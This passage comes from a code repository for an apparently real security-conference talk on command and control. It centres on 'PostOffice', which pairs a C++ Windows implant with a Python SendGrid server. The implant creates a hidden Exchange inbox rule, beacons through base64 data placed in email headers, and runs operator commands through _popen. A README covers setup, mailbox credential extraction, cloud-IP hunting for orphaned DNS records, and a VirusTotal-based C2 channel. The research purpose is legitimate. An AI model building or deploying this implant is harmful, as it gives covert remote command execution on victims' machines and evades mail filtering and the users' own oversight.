</m:Operations>\n</m:UpdateInboxRules>)C0NST\";\n\nstatic LPCSTR CreateMoveRule_Template = R\"C0NST(\n<m:UpdateInboxRules>\n    <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>\n    <m:Operations>\n        <t:CreateRuleOperation>\n            <t:Rule>\n                <t:DisplayName>**NAME**</t:DisplayName>\n                <t:Priority>1</t:Priority>\n                <t:IsEnabled>true</t:IsEnabled>\n                <t:Conditions>\n                    <t:FromAddresses>\n                        <t:Address>\n                            <t:EmailAddress>**EMAIL**</t:EmailAddress>\n                        </t:Address>\n                    </t:FromAddresses>\n                </t:Conditions>\n                <t:Exceptions />\n                <t:Actions>\n                    <t:MarkAsRead>true</t:MarkAsRead>\n                    <t:MoveToFolder>\n                        <t:DistinguishedFolderId Id=\"**FOLDER**\" />\n                    </t:MoveToFolder>\n                </t:Actions>\n            </t:Rule>\n        </t:CreateRuleOperation>\n    </m:Operations>\n</m:UpdateInboxRules>)C0NST\";\n\nstatic LPCSTR SendEmail_Template = R\"C0NST(\n<m:CreateItem MessageDisposition=\"SendOnly\">\n    <m:Items>\n    <t:Message>\n        <t:Subject>Meeting Updates</t:Subject>\n        <t:Body>I have recieved your invitation for the meeting</t:Body>\n        <t:ToRecipients>\n\t\t\t<t:Mailbox>\n            <t:EmailAddress>**EMAIL**</t:EmailAddress>\n            </t:Mailbox>\n        </t:ToRecipients>\n\t\t<t:ExtendedProperty>\n            <t:ExtendedFieldURI DistinguishedPropertySetId=\"InternetHeaders\" PropertyName=\"**HEADER**\" PropertyType=\"String\" />\n            <t:Value>**DATA**</t:Value>\n        </t:ExtendedProperty>\n    </t:Message>\n    </m:Items>\n</m:CreateItem>)C0NST\";\n\nstatic LPCSTR FindItemFrom_Template = R\"C0NST(\n<m:FindItem Traversal=\"Shallow\">\n\t<m:ItemShape>\n\t<t:BaseShape>AllProperties</t:BaseShape>\n\t<t:AdditionalProperties>\n\t\t<t:FieldURI FieldURI=\"message:From\" />\n\t</t:AdditionalProperties>\n\t</m:ItemShape>\n\t<m:IndexedPageItemView MaxEntriesReturned=\"1\" Offset=\"0\" BasePoint=\"Beginning\" />\n\t<m:ParentFolderIds>\n\t\t<t:DistinguishedFolderId Id=\"**FOLDER**\"/>\n\t</m:ParentFolderIds>\n    <m:Restriction>\n\t\t<t:IsEqualTo>\n\t\t<t:FieldURI FieldURI=\"message:From\" />\n\t\t<t:FieldURIOrConstant>\n\t\t\t<t:Constant Value=\"**EMAIL**\" />\n\t\t</t:FieldURIOrConstant>\n\t\t</t:IsEqualTo>\n    </m:Restriction>\n</m:FindItem>)C0NST\";\n\nstatic LPCSTR GetItem_Template = R\"C0NST(\n<GetItem xmlns=\"http://schemas.microsoft.com/exchange/services/2006/messages\">\n<ItemShape>\n<t:BaseShape>Default</t:BaseShape>\n<t:IncludeMimeContent>true</t:IncludeMimeContent>\n</ItemShape>\n<ItemIds>\n<t:ItemId Id=\"**ID**\" ChangeKey=\"**KEY**\" />\n</ItemIds>\n</GetItem>)C0NST\";\n\nstatic LPCSTR DeleteItem_Template = R\"C0NST(\n<DeleteItem DeleteType=\"HardDelete\" xmlns=\"http://schemas.microsoft.com/exchange/services/2006/messages\">\n    <ItemIds>\n    <t:ItemId Id=\"**ID**\"/>\n    </ItemIds>\n</DeleteItem>)C0NST\";"
  },
  {
    "path": "PostOffice/client/Exchanger/Exchanger.cpp",
    "content": "#include <Windows.h>\n#include \"EWS.h\"\n#include \"Base64.h\"\n#include \"Tasking.h\"\n\n#define C2_MAILBOX\t\"mail@<domain.com>\"\n\n#define RULE_NAME\t\"KeepThingsClean\"\n#define MOVE_FOLDER \"deleteditems\"\n#define C2_HEADER\t\"X-Analysis\"\n#define LOOP_SLEEP 5 * 1000 // seconds\n\nbool Running = TRUE;\n\nint main()\n{\n\tEWSConnector ews;\n\n\tif (!ews.Initialize()) {\n\t\tprintf(\"[!] Failed to initialize EWS connector\\n\");\n\t\treturn 1;\n\t}\n\n\tif (!ews.DoesRuleExist(RULE_NAME)) {\n\t\t\n\t\tprintf(\"[+] Rule '%s' does not exist. Creating ...\\n\", RULE_NAME);\n\n\t\tif (!ews.CreateMoveRule(RULE_NAME, C2_MAILBOX, MOVE_FOLDER)) {\n\t\t\tprintf(\"[!] Failed to create rule '%s'\\n\", RULE_NAME);\n\t\t\treturn 1;\n\t\t}\n\n\t}\n\n\tprintf(\"[+] Auto-hide rule '%s' is ready\\n\", RULE_NAME);\n\n\tstd::string outboundData = \"HELLO\";\n\tstd::string inboundData;\n\tstd::string codedData;\n\n\twhile (Running) {\n\t\t\n\t\tif (!outboundData.empty()) {\n\n\t\t\tif (!Base64Encode(outboundData, &codedData)) {\n\t\t\t\tprintf(\"[!] Failed to Base64 encode data\\n\");\n\t\t\t\tRunning = FALSE;\n\t\t\t}\n\n\t\t\tprintf(\"[+] Sending beacon\\n\");\n\n\t\t\tif (!ews.SendEmailWithHeader(C2_MAILBOX, C2_HEADER, codedData.c_str())) {\n\t\t\t\tprintf(\"[!] Failed to beacon to '%s'\\n\", C2_MAILBOX);\n\t\t\t\tRunning = FALSE;\n\t\t\t}\n\n\t\t\toutboundData.clear();\n\t\t}\n\n\t\tSleep(LOOP_SLEEP);\n\n\t\tif (!ews.SearchEmailAndExtractHeader(C2_MAILBOX, MOVE_FOLDER, C2_HEADER, codedData)) {\n\t\t\tprintf(\"[!] Failed to search email\");\n\t\t\tRunning = FALSE;\n\t\t}\n\n\t\tif (!codedData.empty()) {\n\n\t\t\tprintf(\"[+] Got tasking... executing.\\n\");\n\n\t\t\tif (!Base64Decode(codedData, &inboundData)) {\n\t\t\t\tprintf(\"[!] Failed to Base64 decode data\\n\");\n\t\t\t\tRunning = FALSE;\n\t\t\t}\n\n\t\t\tif (!ExecuteTasking(inboundData, outboundData)) {\n\t\t\t\tprintf(\"[!] Failed to execute tasking\\n\");\n\t\t\t\tRunning = FALSE;\n\t\t\t}\n\n\t\t\tinboundData.clear();\n\t\t}\n\t}\n\n\tprintf(\"[+] Goodbye.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "PostOffice/client/Exchanger/Exchanger.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <ProjectGuid>{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>Exchanger</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>\n      </PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"EWS.cpp\" />\n    <ClCompile Include=\"Exchanger.cpp\" />\n    <ClCompile Include=\"Tasking.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Base64.h\" />\n    <ClInclude Include=\"EWS.h\" />\n    <ClInclude Include=\"Tasking.h\" />\n    <ClInclude Include=\"EWS_Requests.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "PostOffice/client/Exchanger/Exchanger.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Exchanger.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"EWS.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Tasking.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"EWS.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Base64.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Tasking.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"EWS_Requests.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "PostOffice/client/Exchanger/Exchanger.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup />\n</Project>"
  },
  {
    "path": "PostOffice/client/Exchanger/Tasking.cpp",
    "content": "#include \"Tasking.h\"\n\n#include <cstdio>\n#include <iostream>\n#include <memory>\n#include <stdexcept>\n#include <string>\n#include <array>\n\nBOOL ExecuteTasking(std::string inboundData, std::string& outboundData) {\n\n\tsize_t offset = inboundData.find('|');\n\n\tif (offset == std::string::npos)\n\t\treturn FALSE; // Invalid Data\n\n\tstd::string command = inboundData.substr(0, offset);\n\tstd::string argument = inboundData.substr(offset + 1);\n\n\toutboundData = \"\";\n\n\tif (command == \"getuid\") {\n\n\t\tCHAR username[256] = { 0 };\n\t\tCHAR domain[256] = { 0 };\n\t\tLPVOID TokenUserInfo[4096];\n\t\tDWORD sid_type = 0, returned_tokinfo_length;\n\n\t\tHANDLE hToken;\n\n\t\tImpersonateSelf(SecurityDelegation);\n\t\tOpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, true, &hToken);\n\n\t\tif (!GetTokenInformation(hToken, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))\n\t\t\treturn FALSE;\n\n\t\tDWORD length;\n\t\tif (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &length, domain, &length, (PSID_NAME_USE)& sid_type))\n\t\t\treturn FALSE;\n\n\t\toutboundData.append(domain);\n\t\toutboundData.append(\"\\\\\");\n\t\toutboundData.append(username);\n\n\t\treturn TRUE;\n\t}\n\telse if (command == \"exec\") {\n\n\t\tstd::array<char, 128> buffer;\n\t\tstd::string result;\n\t\tstd::unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(argument.c_str(), \"r\"), _pclose);\n\n\t\tif (pipe) {\n\t\t\twhile (!feof(pipe.get()) && !ferror(pipe.get()) &&\n\t\t\t\tfgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)\n\t\t\t\toutboundData += buffer.data();\n\t\t}\n\t}\n\telse if (command == \"inject\") {\n\n\t\t\n\t}\n\n\tif (outboundData.empty()) {\n\t\toutboundData = \"[Finished]\";\n\t}\n\n\treturn TRUE;\n}"
  },
  {
    "path": "PostOffice/client/Exchanger/Tasking.h",
    "content": "#pragma once\n#include <Windows.h>\n#include <string>\n\nBOOL ExecuteTasking(std::string inboundData, std::string &outboundData);"
  },
  {
    "path": "PostOffice/client/Exchanger.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.29009.5\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Exchanger\", \"Exchanger\\Exchanger.vcxproj\", \"{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Debug|x64.Build.0 = Debug|x64\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Debug|x86.Build.0 = Debug|Win32\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Release|x64.ActiveCfg = Release|x64\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Release|x64.Build.0 = Release|x64\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Release|x86.ActiveCfg = Release|Win32\n\t\t{A6C9DA29-8E20-457B-B50D-35AF5B7007CC}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {5CD5B19E-F8E5-4C7B-AD6E-8D0069C38240}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "PostOffice/post_office.py",
    "content": "import sys, os, re\nimport cmd\nimport time\nimport sendgrid\nimport bottle\nimport threading\nimport base64\n\n\nFROM_EMAIL  = 'mail@<domain.com>'\nHEADER      = 'X-Analysis'\nSG_API_KEY  = '<SendGrid API Key>'\n\n\nSG = sendgrid.SendGridAPIClient(SG_API_KEY)\nAgent = None\nWaiting = False\n\ndef bail():\n    print('\\n\\n[+] Goodbye.')\n    os._exit(0)\n\n### Callback Handling\n\n@bottle.post('/inbox')\ndef callback():\n    global Agent\n    global Waiting\n\n    print(bottle.request.body.read())\n    \n    source = bottle.request.forms.get('from')\n    headers = bottle.request.forms.get('headers')\n    sender = bottle.request.forms.get('sender_ip')\n\n    if not source or not headers or not sender:\n        print('[!] Bad callback request!')\n        return\n    \n    if '<' in source: # Remove text from name... shame\n        source = source[source.find('<') + 1 : -1]\n\n    if not Agent:\n        print('\\n[+] New agent from {} [{}]'.format(source, sender))\n        Agent = source\n\n    if source != Agent:\n        print('\\n[-] New agent from {} [{}], but we already have {}'.format(source, sender, Agent))\n        return\n\n    # Headers get lowercased by EWS **\n    match = re.findall(r'{}: (.+)'.format(HEADER.lower()), headers)\n\n    if not match:\n        print('[-] Beacon from {}. {} was not found!'.format(Agent, HEADER))\n        return\n\n    cb_data = match[0]\n    Waiting = False\n\n    # Special processing for long lines\n    if 'us-ascii' in match[0]:\n        cb_data = ''.join([s.replace('=?us-ascii?Q?','')[:-2] for s in cb_data.split(' ')])\n    \n    if not cb_data:\n        print('\\n\\n[+] Beacon from {}:\\n'.format(Agent))\n        return\n\n    try:\n        cb_data = base64.b64decode(cb_data).decode()\n\n        if 'HELLO' == cb_data:\n            return\n\n        print('\\n' + cb_data)\n    except:\n        print(cb_data)\n\n    return\n\nhttp_server = threading.Thread(\n    target = bottle.run,\n    kwargs = {'host' : '0.0.0.0', 'port' : 80, 'quiet' : True}\n)\n\n# / Callback Handling\n\ndef send_tasking(mailbox, tasking):\n    global Waiting\n\n    tasking = tasking.encode() if isinstance(tasking, str) else tasking\n    b64_data = base64.b64encode(tasking).decode()\n    tasking_header = sendgrid.helpers.mail.Header(HEADER, b64_data)\n\n    message = sendgrid.helpers.mail.Mail(\n        from_email = FROM_EMAIL,\n        to_emails = mailbox,\n        subject = 'Meeting Invitation',\n        plain_text_content = 'Please give me a call regarding that meeting'\n    )\n\n    message.add_header(tasking_header)\n\n    try:\n        response = SG.send(message)\n        Waiting = True\n    except Exception as e:\n        print(str(e))\n\nclass Shell(cmd.Cmd):\n    prompt = '# '\n    ruler = None\n\n    def __init__(self):\n        cmd.Cmd.__init__(self)\n\n    def do_exit(self, arg):\n        'Exit the shell'\n        return True\n\n    def do_getuid(self, arg):\n        'Get current username'\n        send_tasking(Agent, 'getuid|')\n\n    do_whoami = do_getuid\n\n    def do_exec(self, arg):\n        'Execute a command'\n        send_tasking(Agent, 'exec|' + arg)\n\n    # Boilerplate\n\n    def postcmd(self, stop, line):\n        global Agent\n        global Waiting\n\n        while Waiting:\n            time.sleep(.25)\n\n        self.prompt = '\\n'\n        if Agent: self.prompt += '{} # '.format(Agent)\n        else: self.prompt += '# '\n\n        return stop\n\n    def precmd(self, line):\n        global Agent\n        \n        if line and not Agent and line not in ['help', 'exit']:\n            print('\\n[!] No agent is connected\\n')\n            return ''\n\n        return line\n    \n    def default(self, command):\n        print(\"\\n[-] Command does not exist\")\n        return\n        \n    def completedefault(self, text, line, begidx, endidx):\n        return\n    \n    def do_EOF(self, command):\n        logging.print('')\n        return False\n\n\nprint(\"\"\"\n _____         _   _____ ___ ___ _         \n|  _  |___ ___| |_|     |  _|  _|_|___ ___ \n|   __| . |_ -|  _|  |  |  _|  _| |  _| -_|\n|__|  |___|___|_| |_____|_| |_| |_|___|___|\n        EWS Mail C2 - Proof of Concept\n\"\"\")\n\n\nhttp_thread = threading.Thread(\n    target = bottle.run, kwargs = {\n    'host' : '0.0.0.0',\n    'port' : 80,\n    'quiet' : True\n})\nhttp_thread.start()\n\n#bottle.run(host='0.0.0.0', port=80, quiet=True)\n\ntry:\n    shell = Shell()\n    shell.cmdloop()\nexcept KeyboardInterrupt:\n    bail()\n\nbail()"
  },
  {
    "path": "PostOffice/requirements.txt",
    "content": "sendgrid\nbottle"
  },
  {
    "path": "README.md",
    "content": "# Flying A False Flag\n\nThis repo contains the slides and concept code for my BlackHat USA 2019 talk about Command and Control.\n\nThere are three projects in this repo:\n\n* **CloudRacoon** - Tools to hunt for orphaned DNS records by fast cycling cloud IPs\n* **PostOffice** - C2 via Exchange EWS services, account piggybacking, and SendGrid\n* **Addendum** - C2 concept via VirusTotal sample updates and property extraction\n\n### CloudRacoon - Clound Hunting\n\nI've provided three scripts for AWS, Azure, and GCP hunting. This involves collecting a random IP, checking it's history for interesting records, and either keeping or releasing it. All of these scripts require valid authentication to the specific provider. **AWS is by far the best canidate** for collection. The process is fast and there are many orphaned records. It's not uncommon to achieve a 1-3% success rate during a cycle of 100 IPs (taking less than a couple minutes).\n\n*Edit 11/2019* - It would appear AWS has begun serving elastic IPs from a small account-specific pool (similar to GCP). This severly limits the diversity of addresses recieved.\n\n```\n> python racoon_aws.py us-west-1 -aK <access_key> -sK <secret_key>\n\n[+] Connected to AWS. Hunting in us-west-1 ... (max: 100)\n\n        +++ 54.241.90.186 : docker.wooagency.com\n        +++ 52.8.1.47 : next-donate.sanguinebio.com\n        = 52.52.237.229 : 13.52.45.201.hczvxliealbqzvdy.com\n        \n> python racoon_aws.py -l all -aK <access_key> -sK <secret_key>\n\n[+] us-west-1 has 3\n\n13.52.14.26     :\n52.8.1.47       : next-donate.sanguinebio.com\n54.241.90.186   : docker.wooagency.com\n``` \n\n### PostOffice - EWS C2\n\nThis project is provided as a python server side, and C++ client side. It requires the most setup with a valid SendGrid API key, authenticated domain, configured MX record, and inbound parse hook.\n\n#### Setup\n1. Setup a SendGrid account and add an authenticated domain\n2. Select an email address to use, such as `c2@[mydomain.com]`\n3. Configure the MX record for your mail domain to point to `mx.sendgrid.net`\n4. Choose a public host for the C2 server, and configure an inbound parse hook in SendGrid (`http://[myserver.com]/inbox`)\n\n#### Server\nA Python 3 script with uses the `bottle` HTTP library for inbound hooks, and the `sendgrid` library for outbound emails.\n\n1. Put your SG API key and email into `post_office.py`\n2. Execute the server on your public host to wait for a callback\n```\n> python post_office.py\n\n _____         _   _____ ___ ___ _         \n|  _  |___ ___| |_|     |  _|  _|_|___ ___ \n|   __| . |_ -|  _|  |  |  _|  _| |  _| -_|\n|__|  |___|___|_| |_____|_| |_| |_|___|___|\n        EWS Mail C2 - Proof of Concept\n\n# \n``` \n\n#### Client\nA Visual Studio C++ project which compiles into an EXE. It uses WinInet for requests, and is capable of extracting\nmailbox credentials from the Windows credential vault for authentication.\n\n1. Place your target email address into `client\\Exchanger\\Exchanger.cpp`.\n2. Build the solution and execute. You should recieve a new \"callback\" on the server.\n\n#### Notes\n- The actual C2 data is Base64 encoded and placed inside a mail header. This means email contents can be benign to slip past filtering.\n- Email headers, and emails in general, have various size limitations depending on the provider. For real-world use, an additional chunking mechanic would likely be needed.\n\n\n### Addendum - VirusTotal C2\n\nThis is a simple python script the masquerades as both the server in the client. It runs in two phases:\n\n1. Random data is generated and packing into the `HyperlinkBase` property of an office document.\n2. The document is uploaded to VT and the script waits until analysis finishes\n3. A comment is made on the new sample using the account credentials provided\n\n----\n\n4. The \"client\" code now pulls a list of comments using only the username of the account\n5. The sample is identified, downloaded, and the random data is extracted.\n6. The data is checked to ensure it matches\n\nNaturally these steps could be performed in seperate code, with each one uploading, tagging, and pulling down samples.\n\n#### Notes\n- There are also more file types that include data extraction as part of the analysis. PE files, for instance, have their import table extracted and available in any public response.\n- Outside of samples, commands and profile information could be used as their own C2 channel\n"
  }
]